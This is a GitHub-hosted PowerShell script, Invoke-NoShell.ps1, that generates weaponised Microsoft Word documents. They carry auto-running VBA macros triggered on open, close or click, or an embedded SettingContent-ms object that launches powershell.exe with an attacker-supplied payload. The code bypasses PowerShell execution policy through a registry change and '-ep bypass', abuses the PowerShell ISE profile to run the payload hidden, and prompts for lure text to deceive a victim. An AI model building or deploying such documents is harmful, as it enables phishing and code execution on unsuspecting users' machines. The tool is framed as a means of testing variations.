-
Notifications
You must be signed in to change notification settings - Fork 8
/
Invoke-NoShell.ps1
676 lines (573 loc) · 24 KB
/
Invoke-NoShell.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
<#
.SYNOPSIS
Creates either a single custom doc with text, link and macro or multiple slightly different permutations of it.
.DESCRIPTION
Invoke-NoShell outputs a Mircosoft Office Word .doc file with an embedded macro.
It allows the automation of multiple similar versions of files, allowing to test how slight differences will effect it.
Currently, only Powershell payloads are supported.
Credit for Word COM object basics:
https://learn-powershell.net/2014/12/31/beginning-with-powershell-and-word/
.PARAMETER docPath
Full path for the output file.
.PARAMETER payloadPath
Full path of a text file containing Powershell payload to embed
.PARAMETER docGenerationMod
A or M - for auto or manual payload generation mode
.PARAMETER lureText
Text to be displayed in the doc for the unsuspecting victim
.EXAMPLE
Create all 12 possible permutations with the lure text "open sesame" armed with the Powershell script
Invoke-NoShell.ps1 -M A -T "Open sesame" -P c:\MyPowershellz\payload.ps1
.EXAMPLE
Create a single document, manually select all the parameters
Invoke-NoShell.ps1 -M M
.EXAMPLE
Create all 12 possible permutations in the folder C:\MyDocsFolder
Invoke-NoShell.ps1 -D C:\MyDocsFolder -M A
.NOTES
You need to have Microsoft Office installed in order to run this script.
#>
# script params
param (
[Parameter(Mandatory = $false)][alias("D")][string]$global:docPath = "$env:TEMP\NoShellMacroDoc.doc",
[Parameter(Mandatory = $false)][alias("P")][string]$global:payloadPath,
[Parameter(Mandatory = $false)][alias("M")][string]$docGenerationMod,
[Parameter(Mandatory = $false)][alias("T")][string]$global:lureText,
[Parameter(Mandatory = $false)][alias("S")][string]$global:settingContentTempFilename = "$env:TEMP\content.SettingContent-ms"
)
# Enums and globals
Enum LaunchTechnique {
onClick = 0
onOpen = 1
onClose = 2
embed = 3
}
# looks a bit ugly here but prints out well due to escape chars
$NoShellBanner = @"
``-:++++++++:-.``
``/oymMMMMMMMMMMMMMMMMmho/``
``-odMMMMMMMMMmmmmmmmNMMMMMMMMMms-``
.omMMMMMMms+:```` ``.:oymMMMMMMNs.
.yMMMMMNh/. ..:://////::-. .+dMMMMMMy-
.yMMMMMm+`` .+oyyyyyyyyyyyyyyyyo/- .oNMMMMMy.
+NMMMMMMN+-+yyyyyyso+++yy++++oyyyyyyo:``oNMMMMMo
``yMMMMMMMMMMNdysooy+-----yy-----/ys+syyyy+.```hMMMMMy``
``hMMMMN:+NMMMMMNs--os-----oy-----oy:---+yyyy+``oNMMMMd``
yMMMMN-````sydNMMMMMNs/y/----+o-----y+-----syyyys-/MMMMMh
/MMMMM:.syyy+oNMMMMMNho----+o----+o-----os::syyy/oMMMMMo
1``mMMMMs``syyy:---sNMMMMMNs---+o----s:----so----syyy/mMMMMN``
/MMMMM.oyyys:----+dNMMMMMNs-+o---/o----o+-----oyyyyoMMMMM+
yMMMMd``yyys+so----:ssNMMMMMNyo---o----o/----/s+syyy+MMMMMh
yMMMMd:yyy+--/o/----o:oNMMMMMNs-:+---+/---:o+--/yyy+NMMMMh
yMMMMd:yyy/----/+:---+:-oNMMMMMNy:--+:---o+----/yyysmMMMMh
yMMMMd.yyys/-----/+---/:--sNMMMMMNs/---/+-----:oyyy+MMMMMh
:MMMMM.+syyyyo:----/:--:--:-oNMMMMMNs:/-----+syyyyssMMMMM/
dMMMMs ``-+yyyys+:---:--------oNMMMMMNs--+syyyyo:````mMMMMm``
:MMMMM: .oyyyo--------------oNMMMMMNhyyyo:`` sMMMMM/
oMMMMN- oyyy----------------oNMMMMMMdy. /MMMMMs
sMMMMN: +yyy+----------------:sNMMMMMMo`` oMMMMMy
/MMMMMo -yyyyyyyyyyyys++oyyyyyyydNMMMMMNohMMMMMo
-mMMMMm/ ``yyyyyyyyyyyyyyyyyyyyyyyyydNMMMMMMMMMm-
/mMMMMm/`` .::-`` sMMMMMMM+
``/mMMMMNy+`` .ohMMMMMm+.
:hNMMMMMdyo:.. ``-/ohmMMMMMNh/
``:smMMMMMMMMNNNdmNNNMMMMMMMMms/``
``:oydNMMMMMMMMMMMMNdyo:.
"@
# helper for printing an error and terminating
Function PrintErrorAndTerminate($errMsg) {
Write-Error $errMsg
Exit
}
#####################################################################
# Helpers for setting the reg key enabling interaction with Word
#####################################################################
# Test if the registry value under key\name exists and equals to the designated value
Function Test-RegistryValue($regkey, $name, $value) {
Try {
Return ((Get-ItemProperty -Path $regkey -Name $name -ErrorAction SilentlyContinue).$name -eq $value)
}
Catch {Return $false}
}
# Test if the registry value under key exists
Function Test-RegistryKey($regkey) {
Try {
Get-ItemProperty -Path $regkey -ErrorAction SilentlyContinue
Return $true
}
Catch {Return $false}
}
# Checks if the mandatory registry value is set correctly
Function IsVbomSet() {
If (Test-RegistryValue $path "AccessVBOM" 0x1) {return $true}
Else {Return $false}
}
# Verify and set if required the mandatory VBOM registry value
function VerifyVbomKey() {
# Verify that the mandatory VBOM reg key is set
$officeVer = (New-Object -ComObject word.application).version
$path = "HKCU:\Software\Microsoft\Office\" + $officeVer.ToString() + "\Word\Security"
If (Test-RegistryKey $path) {
If (-Not (IsVbomSet)) {
# reg add and PowerShell have different approach to registry paths, removing colons
$regCmdPath = $path.Replace("HKCU:\", "HKCU\")
cmd.exe /c ("reg add " + $regCmdPath + " /f /v AccessVBOM /t REG_DWORD /d 0x1")
# VBOM value verification
If (IsVbomSet) {
PrintErrorAndTerminate "VBOM registry value was set successfully!"
}
Else {
PrintErrorAndTerminate "Something went wrong while setting the VBOM registry value, terminating..."
}
}
Else {
Write-Output "VBOM registry value is already set, proceeding"
}
}
Else {
PrintErrorAndTerminate "Something went wrong while testing the existance of VBOM registry key, terminating..."
}
}
#################################################
# Helpers for verifying payload won't break VBA
#################################################
# Verify that the line doesn't exceed the maximal allowed lenght of a VBA line
function VerifyLineLen($line) {
if ($line.length -gt 1024) {
PrintErrorAndTerminate @"
One of the payload's lines is too long, VBA tolerates only lines shorter than 1024 chars.
Faulty line is:
$($line)
"@
}
}
# Verify that no unsupported chars are in the payload
Function VerifyOnlyAscii($line) {
# Check if when casted to UTF8 and ASCII string lenght is different
$ascii = [System.Text.Encoding]::ASCII
$utf8 = [System.Text.Encoding]::UTF8
if ($ascii.GetBytes($line).length -eq $utf8.GetBytes($line).length) {
return
}
else {
PrintErrorAndTerminate @"
One of the payload's lines contains non-ASCII char, VBA doesn't support this - consider encoding it in a differnet way.
Faulty line is:
$($line)
"@
}
}
# Wrapper for all payload-VBA compatibility tests
Function VerifyVbaLine($line) {
VerifyOnlyAscii($line)
VerifyLineLen ($line)
}
#####################################################################
# A class which represents a single WinWord-macro-infused document
#####################################################################
Class MacroDoc {
#########################################################
# Fields
#########################################################
[Boolean] $isPowershellISE = $false
[Boolean] $enablePowershell = $false
[LaunchTechnique] $launchTechnique = 0
[String] $clickText = "click me"
[String] $clickTarget = "$env:PUBLIC\batch4ever.bat"
[String] $payload = ""
#########################################################
# Static strings which are optional parts of the macro
#########################################################
$hkcuBypassRegKey = @"
'allow execution even where PS is disabled
stream.WriteLine "reg add ""HKEY_CURRENT_USER\Software\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell"" /v ""ExecutionPolicy"" /t REG_SZ /d ""Unrestricted"" /f"
"@
$iseSelfTerminateString = @"
'finally, terminate the parent PowerShell ISE
stream.WriteLine "Start-Sleep -s 1"
stream.WriteLine "Stop-Process -processname PowerShell_ISE"
"@
$batchLauncher = @"
Dim strCommand As String
Dim WshShell As Object
Dim ret As Integer
write_bat
strCommand = "%PUBLIC%\Batch4ever.bat"
Set WshShell = CreateObject("WScript.Shell")
ret = WshShell.Run(strCommand, 0, True)
"@
$batchWriter = @"
Dim strCommand As String
write_bat
"@
#########################################################
# OLE helper functions
#########################################################
CleanUp () {
# "DTOR", at the moment remove temporary unnecessary file only when embedding OLE
If ($this.launchTechnique -eq 3) {
Remove-Item $global:settingContentTempFilename
}
}
# Adapted from a snippet released by BVoris:
# https://github.com/bvoris/SettingContent-MS-File-Execution/blob/master/LoadPowershellDemo.SettingContent-MS
#Thanks Brad!
WriteSettingContentToDisk () {
$rawPayload = [IO.File]::ReadAllText($global:payloadPath)
$settingContentTemplate = @"
<?xml version="1.0" encoding="UTF-8"?>
<PCSettings>
<SearchableContent xmlns="http://schemas.microsoft.com/Search/2013/SettingContent">
<ApplicationInformation>
<AppID>windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel</AppID>
<DeepLink>"%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe" -c
$($rawPayload)
</DeepLink>
</ApplicationInformation>
<SettingIdentity>
<PageID></PageID>
<HostID>{12B1697E-D3A0-4DBC-B568-CCF64A3F934D}</HostID>
</SettingIdentity>
<SettingInformation>
<Description>@shell32.dll,-4161</Description>
<Keywords>@shell32.dll,-4161</Keywords>
</SettingInformation>
</SearchableContent>
</PCSettings>
"@
[IO.File]::WriteAllLines($global:settingContentTempFilename, $settingContentTemplate)
}
#########################################################
# Core member functuins
#########################################################
DerivDoc() {
# create the first Word COM object
Try {
$word = New-Object -ComObject word.application
$doc = $word.documents.add()
if ($this.launchTechnique -eq 0) {
# add link
$range = $doc.Range()
$doc.Hyperlinks.Add($range, $this.clickTarget, "" , "", $this.clickText)
}
# add text
$selection = $word.selection
$selection.typeText($global:lureText)
$selection.typeParagraph()
# saving the doc, last arg is reference to the enum type, doc
Write-Host $global:docPath
$doc.saveas([ref] $global:docPath, [ref] 0)
$word.quit()
$word = New-Object -ComObject Word.Application
# add macro, for some odd reason I needed to open it after it is saved, otherwise it did not work
$doc = $Word.Documents.Open($global:docPath)
$doc.VBProject.VBComponents("ThisDocument").CodeModule.AddFromString($this.payload)
# If we close the document and macro is set to run OnClose that's going to be a problem! So...
If ($this.launchTechnique -eq 2) {
0
$doc.saveas([ref] $global:docPath, [ref] 0)
# Forecefully stop WinWord
Stop-Process -Name WINWORD
}
else {
# Nothing will happen on close, we can be good boys and close it nicely
$Doc.close()
$Word.quit()
}
}
Catch {
Write-Host $PSItem.Exception.Message
}
}
# Derive the current class into an instance of a document with an OLE
# We assume that launch technique == 3
DerivOleDoc() {
# create the first Word COM object
Try {
$word = New-Object -ComObject word.application
$doc = $word.documents.add()
# add text
$selection = $word.selection
# Embed the payload in the document's body
$selection.InlineShapes.AddOLEObject("", $global:settingContentTempFilename)
$selection.typeParagraph()
$selection.typeText($global:lureText)
$selection.typeParagraph()
# saving the doc, last arg is reference to the enum type, doc
Write-Host $global:docPath
$doc.saveas([ref] $global:docPath, [ref] 0)
$word.quit()
$word = New-Object -ComObject Word.Application
}
Catch {
Write-Host $PSItem.Exception.Message
}
}
# CTOR for creating the documents automatically
MacroDoc(
[Boolean] $isPowershellISE,
[Boolean] $enablePowershell,
[LaunchTechnique] $launchTechnique
) {
# init with default values
$epBypass = ""
$placeholderForOptionalenablePowershell = ""
$this.launchTechnique = $launchTechnique
$macroFiresOn = "Open"
$batchOrPowershellLauncher = ""
$iseSelfTerminate = ""
# Macro flow for launc techniques 0,1,2 and embedded payload flow for technique 3
If (-Not ($this.launchTechnique -eq 3)) {
# Select when to fire the payload
If (($this.launchTechnique -eq 0) -or ($this.launchTechnique -eq 1)) {
# OnOpen or OnClick since you need to prepare something to be behind the click
$macroFiresOn = "Open"
}
ElseIf ($this.launchTechnique -eq 2) {
# otherwise OnClose
$macroFiresOn = "Close"
}
Else {
PrintErrorAndTerminate "Illegal launcher selection, terminating..."
}
# Set the grounds for either Powershell or ISE hosts to bypass execution policy
If ($enablePowershell) {
# Use a neat trick to allow Powrshell execution via the HKCU registry
$placeholderForOptionalenablePowershell = $this.hkcuBypassRegKey
# simply add -ep bypass to the command executing the payload, if Powershell will be called directly
$epBypass = "-ep bypass "
}
ElseIf (-Not ($enablePowershell)) {
# Placeholders already set to be empty.
}
Else {
PrintErrorAndTerminate "Illegal host selection, terminating..."
}
# Choose whether you want to launch Powershell directly which is less stealth, or do you wish to abuse PowershellISE
If (-Not ($isPowershellISE)) {
# Compose the beginning for the Powershell case
# Cuurently only on open\close is implemented
# TODO: add support to on click
$batchOrPowershellLauncher = @"
Dim strCommand As String
Dim WshShell As Object
Dim ret As Integer
strCommand = "Powershell $($epBypass)-File ""%USERPROFILE%\Documents\WindowsPowerShell\Microsoft.PowerShellISE_profile.ps1"""
Set WshShell = CreateObject("WScript.Shell")
ret = WshShell.Run(strCommand, 0, True)
"@
}
ElseIf ($isPowershellISE) {
# Compose the end for the PowershellISE case
$iseSelfTerminate = $this.iseSelfTerminateString
If (($this.launchTechnique -eq 1) -or ($this.launchTechnique -eq 2)) {
# ISE case, execute on Open\Close
$batchOrPowershellLauncher = $this.batchLauncher
}
Else {
# ISE case, execute on Click
$batchOrPowershellLauncher = $this.batchWriter
}
}
Else {
PrintErrorAndTerminate "Illegal host selection, terminating..."
}
# TODO: redundantly writes this function although not invoked on the case Powershell is selected as a host
$writeBatFunc = @"
'write a batch file which PowerShell execution without administrator privileges.
'following that, it will be launching PowerShell ISE to run our payload
'in this version of the document the batch is executed on click
'alternative payload (automatically generated) will launch it on document close, for example
Function write_bat()
Dim fso
Set fso = CreateObject("Scripting.FileSystemObject")
Dim stream
Set stream = fso.OpenTextFile(Environ("public") & "\batch4ever.bat", 2, True)
$($placeholderForOptionalenablePowershell)
stream.WriteLine "Powershell_ISE"
End Function
"@
$writePsFunc = @"
'writes the PowerShell script to the disk
'it will be loaded automatically when PowerShell ISE is started
Function write_ps()
Dim fso
Set fso = CreateObject("Scripting.FileSystemObject")
Dim stream
'verify the script folder exist, otherwise create it
If fso.FolderExists(Environ("userprofile") & "\Documents\WindowsPowerShell") = False Then
MkDir Environ("userprofile") & "\Documents\WindowsPowerShell"
End If
Set stream = fso.OpenTextFile(Environ("userprofile") & "\Documents\WindowsPowerShell\Microsoft.PowerShellISE_profile.ps1", 2, True)
$($global:payloadInLines)
$($iseSelfTerminate)
End Function
"@
# This is the final macro, compose anything we've done so far here
$this.payload = @"
Option Explicit
'this will set our devious plan in motion
Private Sub Document_$($macroFiresOn)()
write_ps
$($batchOrPowershellLauncher)
End Sub
$($writePsFunc)
$($writeBatFunc)
"@
$this.DerivDoc()
}
ElseIf ($this.launchTechnique -eq 3) {
$this.WriteSettingContentToDisk()
$this.DerivOleDoc()
}
Else {
PrintErrorAndTerminate "Unknown launch technique selected, terminating..."
}
$this.CleanUp()
}
# Constructor for creating a single document manually
MacroDoc() {
# init with default values
$usePowershellIse = $false
$epBypass = $false
[LaunchTechnique] $launch = 0
# Select when to fire the payload
while ($true) {
$launch = Read-Host -Prompt @"
Please select when to launch the payload:
[0] - On click
[1] - On document open
[2] - On document close
[3] - Embed payload
"@
If (($launch -eq 0) -or ($launch -eq 1)) {
# OnOpen or OnClick since you need to prepare something to be behind the click
If ($launch -eq 0) {
$this.clickText = Read-Host -Prompt "Please enter a label for the link"
}
break
}
ElseIf (($launch -eq 2) -or ($launch -eq 3)) {
break
}
Else {
Write-Error "Illegal selection, please retry"
}
}
If ($launch -eq 3) {
New-Object MacroDoc($usePowershellIse, $epBypass, $launch)
Exit
}
# Set the grounds for either Powershell or ISE hosts to bypass execution policy
while ($true) {
$userInputEpBypass = Read-Host -Prompt "Would you like to force execution even if it is restricted?:`n[Y\N]"
If ($userInputEpBypass -eq "Y") {
$epBypass = $true
break
}
ElseIf ($userInputEpBypass -eq "N") {
$epBypass = $false
break
}
Else {
Write-Error "Illegal selection, please retry"
}
}
# Choose whether you want to launch Powershell directly which is less stealth, or do you wish to abuse PowershellISE
while ($true) {
$psOrIse = Read-Host -Prompt "Please select a host for your Powershell payload:`n[0] - Powershell.exe`n[1] - PowershellISE.exe"
If ($psOrIse -eq 0) {
$usePowershellIse = $false
break
}
ElseIf ($psOrIse -eq 1) {
$usePowershellIse = $true
break
}
Else {
Write-Error "Illegal selection, please retry"
}
}
New-Object MacroDoc($usePowershellIse, $epBypass, $launch) | Out-Null
}
}
###################
# "main" function #
###################
# Declare how awesome you are
Write-Host $NoShellBanner
# Verify mandatory registry key is set
If ( -Not (VerifyVbomKey) ) {
PrintErrorAndTerminate "Can't set VBOM registry value, terminating..."
}
# Get payload path if wasn't supplied as argument
While ($true) {
Try {
if (-Not ($global:payloadPath)) {
$global:payloadPath = Read-Host -Prompt "Please insert a path with the payload you wish to embed"
}
# Parse and prepare the payload to be transplanted into the macro
$global:payloadInLines = @"
stream.WriteLine "" `r`n
"@
$payload = [IO.File]::ReadAllText($global:payloadPath)
ForEach ($line in $($payload -split "`r`n")) {
$line = $line.Replace("""", """""")
$lineToWrite = "stream.WriteLine """ + $line + """`r`n"
VerifyVbaLine $lineToWrite
$global:payloadInLines = $global:payloadInLines + $lineToWrite
}
# If we are here - there were no errors and we can break the loop
break
}
Catch {
Write-Error "There's something wrong with the supplied path, please enter a new one"
# erasing the bad value to allow the loop to restart correctly
$global:payloadPath = ""
}
}
if (-Not ($global:lureText)) {
# If not supplied as arg - get the lure text
$global:lureText = Read-Host -Prompt "Please enter text to fool the victim that this is a legit doc"
}
while ($true) {
# If mode not supplied as an argument
if (-Not ($docGenerationMod)) {
$docGenerationMod = Read-Host -Prompt "Please select manual or auto mode:
[A] - Auto mode, will generate all possible permutations
[M] - Manual mode, carefully select options to apply on a single document"
}
If ($docGenerationMod -eq "A") {
# Create output folder
$OutDir = "$env:USERPROFILE\documents\MacroDocOutput"
mkdir -Path $OutDir -ErrorAction SilentlyContinue
$trueFalseArray = @($true, $false)
$enumIndices = @(0, 1, 2)
# Calling CTOR with dummy values for embedded payload
# TODO: consider creating another CTOR or changing the overloading
$global:docPath = $OutDir + "\MacroDoc3.doc"
New-Object MacroDoc($false, $false, 3)
foreach ($psOrISE in $trueFalseArray) {
foreach ($doBypass in $trueFalseArray) {
foreach ($fireMacroSelector in $enumIndices) {
# For each possible selection create a macro document and name it uniqly
$global:docPath = $OutDir + "\MacroDoc" + $psOrISE.ToString() + $doBypass.ToString() + $fireMacroSelector.ToString() + ".doc"
New-Object MacroDoc($psOrISE, $doBypass, $fireMacroSelector)
}
}
}
# Calling CTOR with dummy valse for embedded payload
# TODO: consider creating another CTOR or changing the overloading
$global:docPath = $OutDir + "\MacroDoc3.doc"
New-Object MacroDoc($false, $false, 3)
break
}
ElseIf ($docGenerationMod -eq "M") {
# manual mode, get user inputs
New-Object MacroDoc
break
}
Else {
Write-Error "Illegal selection, please retry"
}
}